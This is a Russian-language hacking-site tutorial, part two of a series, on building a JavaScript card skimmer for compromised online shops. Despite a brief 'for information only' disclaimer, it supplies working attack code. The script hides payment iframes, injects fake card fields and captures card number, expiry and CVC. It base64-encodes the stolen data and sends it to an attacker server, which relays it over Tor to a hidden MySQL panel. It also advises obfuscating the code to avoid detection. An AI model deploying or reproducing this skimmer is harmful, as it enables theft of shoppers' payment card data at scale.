Javascript Взлом Кодинг Обучение Снифер

Учимся писать JS снифер. Теория и практика для самых маленьких. Часть 2

Учимся писать JS снифер. Теория и практика для самых маленьких. Часть 2

Наверняка ты не раз слышал о том, что злоумышленники похищают персональные данные форм со взломанных ими ресурсов, собирая данные посетителей прямо из полей заполняемых пользователями. Сегодня мы рассмотрим механизм того, как это происходит и даже попробуем написать свой собственный «снифак»
Только давай сразу договоримся, что эта статья — исключительно ознакомительного характера. Я никого не призываю использовать полученные данные для кражи данных, а лишь показываю каким образом злоумышленник может похитить банковскую информацию клиентов онлайн магазина. Согласитесь, со стороны специалиста ИБ важно и нужно понимать такой процесс.

Напоминаю, что я уже писал JS сниферах и эта статья является продолжением и логическим расширением предидущего материала.

Как ты уже понял, в процессе написания «снифака» тебе придется иметь дело с JavaScript. А по мнению многих этот язык програмирования придумал сам сотона.

В этой статье я максимально кратко, но информативно объясню как устроены js сниферы, и как их писать.
Также мы рассмотрим написание сниферов, которые собирают инфу из интернет магазинов, чекаут формы которых выглядят следующим образом:
1. Формы находящиеся непосредственно на странице
2. Формы поля которых находятся внутри iframe
3. Формы [обычные\фреймы] меняющие код в зависимости от выбранных значений(например изменение страны доставки изменяет форму целиком, перезагружая ее — тем самым заставляет нас не вешать событие сабмита сразу, а ловить его на финальной стадии)
4. Редирект. Хотя подробный рассказ об этом выходит за рамки этого материала, так как всё сводится к подмене ссылки с оригинальной на фейк и при возвращении — вывод ошибки о неверно введенных данных(легко поверить, все же ошибаются), с последующей передаресацией жертвы на оригинальный чекаут.

Мы рассмотрим следующие моменты:
1. Подмена полей
2. Сниф данных с полей
3. Отправка украденной информации к нам на сервер-посредник
4. Пересылка информации с сервера посредника на админку, находящуюся в торе
5. Принятие запроса и сохранение данных в MySql таблицу

Перед написанием снифера, мы считаем что следующие условия соблюдены:
1. Доступ к шопу с правами на запись
2. VPS с доменом sniffer-domain.com и ssl сертификатом(подойдет бесплатный lets encrypt) + поднятый apache и установлены модули php + библиотека curl + tor service
3. VPS c TOR доменом заканчивающимся на .onion + поднятый apache и установленные модули php и mysql

ЧАСТЬ 1
Общие моменты:

1. Снифер должен работать только после полной загрузки окна, чтобы событие клика на кнопку чекаута не было undefined вешается событие:
JavaScript:

window.addEventListener('load',(event)=>{
    //code
}

2. В зависимости от того куда будет добавлен скрипт снифера, необходимо делать проверку того, что мы находимся именно на странице чекаута.
Легче всего это сделать проверив адресную строку:
JavaScript:

if(window.location.toString().search(/checkouts/)!=-1){
    //code
}

3. Код можно обфусцировать, в сети вы найдете много онлайн js обфускаторов, это защитит ваш код от случайного обнаружения:
https://www.javascriptobfuscator.com/Javascript-Obfuscator.aspx
https://www.obfuscator.io

Обфускаторов в сети на самом деле очень много и ты смело можешь выбирать наиболее подходящий тебе вариант.

ЧАСТЬ 2

Перед нами обычная форма которая находится на сайте, мы имеем следующие поля:
HTML:

<span class="input-wrapper">
    <input type="text" class="input-text" name="name" id="name" placeholder="" value="">
</span>
<span class="input-wrapper">
    <input type="tel" class="input-text" name="cc_number" id="credit_card_number" placeholder="XXXX XXXX XXXX XXXX" value="" maxlength="20">
</span>
<span class="input-wrapper">
    <input type="tel" class="input-text" name="cc_expiry" id="credit_card_expiry" placeholder="MM / YY" value="" maxlength="7">
</span>
<span class="input-wrapper">
    <input type="tel" class="credir_card_cvc" name="" id="credit_card_cvc" placeholder="CVC" value="" maxlength="4">
</span>

В соответствии с объектной моделью документа («Document Object Model», коротко DOM), каждый HTML-тег является объектом.
Значения которые вводит юзер — хранятся в атрибуте value.
Чтобы получить значение из value нам необходимо обратится к обьекту тега input, и взять значение атрибута value:

JavaScript:

//Обьявляем переменную
let name = "";
//Записываем в нее значение value
name = document.getElementById(id).value;
//Таким же образом получаем остальные значения...

В определенных ситуациях некоторые поля могут иметь пустое value, либо обьекта вообще нет, для этого нужно добавить проверку дабы избежать ошибок во время выполнения:
JavaScript:Скопировать в буфер обмена

let name = "";
name = document.getElementById(id) ? document.getElementById(id).value : "";
//Оператор ? укорачивает ваш код, строка выше делает то же самое что и
if(document.getElementById(id)){
    name = document.getElementById(id).value;
}else{
    name = "";
}

Рассмотрим следующий пример, у нас форма в которой поля находятся не на странице, а подтягиваются с помощью iframe:
JavaScript:

<span class="input-wrapper" id="span_id">
    <iframe name="example_provider" id="iframe_id" title="PaymentForm" src="https://example/cards/payment-form?url=https://shop.com/" width="100%">
        #html тег внутри фрейма
        <html>
        //Тут будет код целой страницы, который мы пропустим, для понимания принципа работы это не важно
        <body>
                <input type="tel" id="credit_card_number" placeholder="XXXX XXXX XXXX XXXX" value="" autocomplete="cc-number" maxlength="20">
        </body>
        </html>
    </iframe>
</span>

Если вы попробуете обратиться к такому input по его id, то вы ничего не получите так как содержимое iframe недоступно нашему js скрипту.
Давайте проанализируем фрейм, как видите наш фрейм имеет id с названием iframe_id значит мы можем обратиться к нему как к DOM обьекту.
Наш iframe содержится внутри блока span, а span в свою очередь является его контейнером.
Теперь у вас должен возникнуть вопрос, «каким образом мы получим значение value если оно нам недоступно?» .
Действовать мы будем следующим образом:
1. Получим ссылку на обьект нашего iframe и span
2. Скроем iframe
3. Вставим в span наше фейк поле
4. Получим значение из поля
5. Выведем ошибку
6. Заполним куку о том что данные мы уже стащили
7. Перезагрузим страницу
8. Скрипт проверит наличие куки, и если она не равна 404, то покажет оригинальную форму с iframe
JavaScript:

//Данный код должен быть расположен сразу после условия, которое проверяет загрузку документа и адрес, в случае если мы действительно находимся на странице чекаута, данный код отработает

//Проверяем наличие куки
//Функция получения куки из браузера, не мой
function get_cookie(cookie_name){
    let check_cookie=document.cookie.match(new RegExp("(?:^|; )"+cookie_name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,'\\$1')+"=([^;]*)"));return check_cookie?decodeURIComponent(check_cookie[1]):"404";
}
//Получаем значение куки, если оно не найдено, то мы прячем iframe и показываем фейк
if(get_cookie("already_sniffed")=="404"){
    //Код подмены, который мы написали выше
    //Получаем ссылки на обьекты
    let span_block = document.getElementById('span_id');
    let iframe_block = document.getElementById('iframe_id');

    //Скрываем ифрейм
    iframe_block.setAttribute("style","display:none;");

    //Добавляем наше фейковое поле, предварительно вы должны сами его написать, тут я не покажу вам пример так как каждая форма уникальна, и для этого достаточно базового знания html+css, лично я поступил бы следующим образом: открыл в 2 вкладках страницу чекаута, на одной был бы оригинальный инпут, а на другой я бы скрыл ифрейм, и в блок ифрейма - в нашем случае это span, я бы добавил тег <input> и писал бы его стили делая его максимально похожим, стили указал бы внутри тега - ДА это говнокод, но так мы получаем тег в виде одной строки, и можем потом вставить его рядом с фреймом:
    span_block.insertAdjacentHTML("afterend","<input id='fake_input' style='наши стили для фейк инпута'>");
}

После отработки данного скрипта, на странице проявится наша поддельная форма, а оригинальная будет скрыта. Как вы видите, мы добавили id нашему input для того, чтобы обращаться к его value атрибуту.
Теперь, после отправки формы(этот процесс мы рассмотрим чуть позже), мы должны добавить куку,которую мы проверили выше, нужно это для того, чтобы при загрузке страницы наш скрипт понимал соснифили ли мы инфу у текущего юзера или нет.
Создаем куку, и даем ей значение 1, если куки нет, то она не равна 1, а значит данные мы еще не снифали.
JavaScript:

//Этот код мы добавим после отправки формы
document.cookie="already_sniffed=1";

Таким образом происходит подмена других полей, для примера я показал одно
И так, когда мы написали функцию подмены полей, то мы действуем точно так же, как и в первом пункте, при [отправке формы\нажатию на кнопку «Place order»] мы по id с помощью функции getElementById получаем value полей и записываем их в переменные.

На данном этапе мы [в случае с наличием ифрейма — подменили поле], находимся на странице чекаута, далее мы введем данные в поля и подтвердим оплату.
Нажатие на кнопку оплаты, или же отправка формы(которая инициируется этим самым нажатием на кнопку оплаты, либо нажатием клавиши enter находясь на последнем инпуте) — это и есть наши 2 тригера на выбор.
У нас есть кнопка, код которой выглядит следующим образом:
JavaScript:

<input type="submit" name="checkout_place_order" id="place_order" value="Place order">

Мы должны проделать следующие пункты, чтобы повесить ивент на кнопку:
JavaScript:

//Получаем DOM обьект кнопки по id
let submit_button = "";
submit_button = document.getElementById('place_order');

//Добавляем обработчик события клик на эту кнопку
submit_button.addEventListener('click',function(event){
    //На данном этапе форма должна будет отправится, и чтобы это предотвратить вызываем функцию на обьекте события
    event.preventDefault();
    //По факту мы отменили клик, и теперь форма не отправится, а это нужно для того, чтобы наш скрипт успел собрать данные, сформировать запрос, и отправить его на наш сервер

    //Собираем данные
    let name_value = "";
    name_value = document.getElementById("name_id").value;
    let lastname_value = "";
    lastname_value = document.getElementById("lastname_id").value;
    let cc_number_value = "";
    cc_number_value = document.getElementById("cc_number_id").value;
    //И тд...

    //Дальше он сформирует из него ассоциативный массив в представлении ключ:значение
    let cc_info_object ={
        name_key:name_value,
        lastname_key:lastname_value,
        cc_number_key:cc_number_value
    };

    //Массив = обьект, и из этого обьекта мы сформируем json строку
    let json_string = JSON.stringify(new_obj123);

    //Закодируем строку в base64, чтобы при анализе передаваемых данных сложнее было обнаружить что именно отправляется
    let base64_json_string = btoa(json_string);

    //Отправим данные на наш сервер-приемник, также я настоятельно НЕ рекомендую использовать библиотеку jquery с ее ajax функцией так как для этого необходимо подтягивать кучу лишнего, то лучше использовать нативные возможности javascript'а в виде XMLHttpRequest

    //Инициализируем обьект XMLHttpRequest
    let XMLHttpObj = new XMLHttpRequest();
        //Открываем соединение, для отправки post запроса
        XMLHttpObj.open("POST", "https://sniffer-domain.com/index.php");
        //Указываем заголовки
        XMLHttpObj.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
        //Отправляем запрос
        XMLHttpObj.send("sniffed_data="+base64_json_string);
        //Вешаем обработчик события "изменение статуса запроса"
        XMLHttpObj.onreadystatechange = function(){
            //Когда статус запроса изменится, мы проверим его
            if(XMLHttpObj.readyState==XMLHttpRequest.DONE&&XMLHttpObj.status==200){
                //В случае успешной отправки запроса, мы вешаем куку(ее [наличие\значение] мы будем проверять в начале скрипта) которая будет говорить о том, что у текущего юзера данные мы УЖЕ украли, и повторно их отправлять не нужно, выше вы уже видели этот код
                document.cookie="already_sniffed=1";

                //Теперь когда наш процесс снифинга кончился, мы должны отправить форму, дабы не нарушить логику сайта, и тут так же будет несколько вариантов:
                //Вариант А: у нас обычная форма без ифреймов, данные отправятся, ордер добавится в базу, а жертва увидит сообщение об успешной оплате
                //Вариант Б: у нас форма с фреймом, и так как оригинальные значения пустые(ведь мы их спрятали), страница перезагрузится, и выдаст ошибку о том, что значения не верны
                //Для этого мы должны получить DOM обьект тега <form> и вызвать у нее submit
                //Условно: открывающий тег формы выглядит следующим образом: <form id="checkout_form_id" name="checkout" method="post" class="checkout" action="https://www.original-site.com/checkout/" enctype="multipart/form-data" novalidate="novalidate">

                //Получаем DOM обьект формы
                let checkout_form = "";
                checkout_form = document.getElementById('checkout_form_id');

                //Вручную отправляем ее
                checkout_form.submit();

                //Вариант В:у нас форма с фреймом, и так как оригинальные значения пустые(ведь мы их спрятали), страница НЕ перезагрузится, а просто подчеркнет инпуты, с сообщением о том, что поля не могут быть пусты, тут нам нужно пойти другим путем и вместо отправки формы перезагрузить страницу
                location = location;
            }else{
                //В случае какой то ошибки мы все равно [отправляем форму\перезагружаем страницу], иначе пользователь будет в логической ловушке нашего скрипта
                let checkout_form = "";
                checkout_form = document.getElementById('checkout_form_id');
                checkout_form.submit();
                // или
                location = location;
                //Тут на выбор: можно так же добавить куку, и больше не пытаться [подменить поля]+украсть данные, а можно НЕ добавлять куку и начать процесс заново
            }
        }
});

Опишу последний важный момент части с js.
Иногда попадаются такие формы, которые перезагружаются целиком при выборе определенного значения в одном из полей, например смена страны в шипинг инфо, в такой ситуации если мы при загрузке окна повесим на [кнопку\форму] событие, то это событие не отработает, так как с точки зрения логики веб-приложения она перестанет существовать.
Решение которое я нашел заключается в вешании события клик на всю страницу и обращении к таргету.
JavaScript:

//Вешаем событие click на документ
document.addEventListener('click',event => {

    //Получаем обьект и его value (если оно есть)
    let button_value = event.target ? event.target.value : false;

    //Проверяем что результат не false
    if(button_value){
        //Сравниваем значение с текстом из кнопки - это самый просто вариант, он обычно уникален
        if(button_value=="Place order"){
            //код предотвращения отправки -> сбор данных -> отправка данных -> завершение работы скрипта -> ручная отправка формы\перезагрузка страницы
        }
    }
});

Написанный код мы размещаем внутри тегов <script></script>, а сам тег вставляем перед закрывающим тегом body.

На этом этапе написание JS части нашего снифера закончена.

ЧАСТЬ 3:
А теперь приступим к написанию php скрипта, который будет крутится на сервере посреднике.

Создаем index.php с содержимым:
PHP:

<?php
    //Добавляем заголовки, они необходимы для того чтобы работала технология кросс-доменных запросов
    header('Access-Control-Allow-Origin: *');
    header('Access-Control-Allow-Methods: *');
    header('Access-Control-Allow-Headers: *');

    //Проверяем наличие post запроса, с нужным ключем
    if(isset($_POST['sniffed_data'])){

        //Задаем урл, данные будем отправлять методом get
        $url = 'http://ouradminpanel65rdfty78i.onion/index.php?sniffed_data='.$_POST['sniffed_data'];
        //Напомню что содержимое $_POST['sniffed_data'] - закодировано в base64

        //На нашем сервере крутится сервис tor для отправки запросов в тор сеть, следующей строкой указываем прокси адрес тора в виде ip:port
        $tor_socks = "127.0.0.1:9050";

        //Создаем обьект curl
        $ch = curl_init();

        //Задаем параметры для нашего curl запроса
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_PROXY, $tor_socks);
        curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5_HOSTNAME);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

        //Одновременно выполянем запрос, и получаем ответ
        $resp = curl_exec($ch);

        //Закрываем соединение
        curl_close($ch);
    }

Нужен этот самый сервер посредник для того, чтобы в случае обнаружения снифера и последующего абуза на него мы не потеряли данные.

ЧАСТЬ 4:
Завершающая стадия, тут мы получаем запрос от нашего сервера посредника, и сохраняем значения в базу.

Создаем файл index.php со следующим содержимым:
PHP:

<?php
//Добавляем заголовки
    header('Access-Control-Allow-Origin: *');
    header('Access-Control-Allow-Methods: *');
    header('Access-Control-Allow-Headers: *');

//При обращении к скрипту проверяем наличие GET запроса
if(isset($_GET['sniffed_data'])){
    //Получаем содержимое GET параметра, декодируем строку из base64, преобразуем json строку в ассоциативный обьект
    $json_decoded_object = json_decode(base64_decode($_GET['sniffed_data']), true);

    //Коннектимся к базе данных
    $dsn = 'mysql:dbname=cards;host=127.0.0.1;charset=utf8';
    $user = 'root';
    $password = 'root_password';

    //Создаем обьект PDO и коннектимся к базе, в случае неудачи выводим ошибку
    try{
        $pdo = new PDO($dsn, $user, $password);
        echo "Connection success";
    }catch (PDOException $e){
        echo 'Connection failed: ' . $e->getMessage();
    }

    //Подготавливаем запрос для защиты от иньекций
    $statement = $pdo->prepare("INSERT INTO сс VALUES(NULL, :cardnumber, :cardexperation, :cardcvc, :name, :lastname)");

    //Исполняем запрос   
    $statement->execute(array(
            "cardnumber" => $json_decoded_object['cc_number_key'],
            "cardexperation" => $json_decoded_object['cc_exp_key'],
            "cardcvc" => $json_decoded_object['cc_cvc_key'],
            "name" => $json_decoded_object['name_key'],
            "lastname" => $json_decoded_object['lastname_key']
    ));
}

На этом этапе написание снифера закончено.

Это был второй материал на нашем сайте на эту тему и я надеюсь, что он был для вас познавательным и полезным.

Автор статьи: c4t

Очень злой админ
Очень злой админ Автор статьи

Админ сайта. Публикует интересные статьи с других ресурсов, либо их переводы. Если есть настроение, бывает, что пишет и что-то своё.

Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *